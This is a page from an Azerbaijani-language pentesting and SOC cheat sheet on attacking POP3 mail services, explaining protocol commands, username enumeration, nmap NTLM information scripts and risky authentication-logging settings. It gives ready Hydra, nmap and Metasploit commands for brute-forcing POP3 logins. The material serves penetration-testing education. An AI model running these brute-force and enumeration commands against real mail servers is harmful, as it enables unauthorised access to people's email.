Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page

Was this helpful?

  1. Network Services Pentesting

110,995-Pentesting POP

Previous25,465,587-Pentesting SMTPNext139,445-Pentesting SMB

Last updated 1 year ago

Was this helpful?

Post Office Protocol (POP) kompüter şəbəkəsi və İnternet standart protokolunun bir növüdür ki, ana maşın tərəfindən daxil olmaq üçün uzaq poçt serverindən e-poçtu çıxarır və götürür. POP, son istifadəçilərə e-poçt almaq və qəbul etmək imkanı verən OSI modelində tətbiq səviyyəsinin protokoludur.

Default portlar: 110, 995(ssl)

Telnet vasitəsilə serverə qoşulmaq üçün:

İstifadəçi enumeration:

+OK = exists

ERR = doesn’t exist

USER billydean

İstifadəçi adı və onun parolu əldə edildikdən sonra, e-poçtlara daxil olmaq və onları oxumaq mümkündür, çünki POP3 e-poçtları əldə etmək üçün nəzərdə tutulan bir protokoldur.

USER = username
PASS = password

Nmap əmri ilə məlumatın əldə edilməsi:

nmap -p 110,995 –script pop3-capabilities 10.10.10.51
script pop3-ntlm-info

Bu skript NTLM autentifikasiyası aktivləşdirilmiş uzaq POP3 xidmətlərindən məlumatları sadalayır.

Null etimadnaməsi ilə POP3 NTLM identifikasiyası sorğusunun göndərilməsi uzaq xidmətin NetBIOS, DNS və ƏS qurma versiyasını ehtiva edən məlumatları açıqlayan NTLMSSP mesajı ilə cavab verməyə səbəb olacaq.

POP sintaksisi

USER uid           "uid" kimi daxil olun
  PASS password      Həqiqi parolunuzu "parol" ilə əvəz edin
  STAT               Mesajların siyahısı, ümumi poçt qutusu ölçüsü
  LIST               Mesajları və ölçüləri sadalayın
  RETR n             Mesajı göstər 
  DELE n             Mesajı silmək üçün qeyd edin
  RSET               İstənilən dəyişikliyi ləğv edin
  QUIT               Çıxış (RSET olmadıqda mesajları silir)
  TOP msg n          Mesaj nömrəsi mesajının ilk n sətirini göstərin

Təhlükə yarada biləcək konfiqurasiyalar

Setting
Description

auth_debug

Bütün autentifikasiya sazlama qeydini aktivləşdirir.

auth_debug_passwords

Bu parametr jurnalın təfərrüatlılığını, təqdim edilmiş parolları tənzimləyir və sxem daxil edilir.

auth_verbose

Uğursuz autentifikasiya cəhdlərini və onların səbəblərini qeyd edir.

auth_verbose_passwords

Doğrulama üçün istifadə edilən parollar qeyd olunur və həmçinin kəsilə bilər.

auth_anonymous_username

Bu, ANONYMOUS SASL mexanizmi ilə daxil olarkən istifadə ediləcək istifadəçi adını müəyyən edir.

Hydra ilə Brute Force hücumu

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
hydra -t 2 -L users.list -P passwords.list -M 10.10.x.x.list -s 110 pop3

Msfconsole və Nmap ilə brute force hücumu

Nmap: pop3-brute –script-args userdb=users.list,passdb=passwords.list
nmap --script pop3-brute --script-args pop3loginmethod=SASL-LOGIN -p T:110 IP
nmap --script pop3-brute --script-args pop3loginmethod=SASL-CRAM-MD5 -p T:110 IP
nmap --script pop3-brute --script-args pop3loginmethod=APOP -p T:110 IP

msf > use auxiliary/scanner/pop3/pop3_login #MetasploitFramework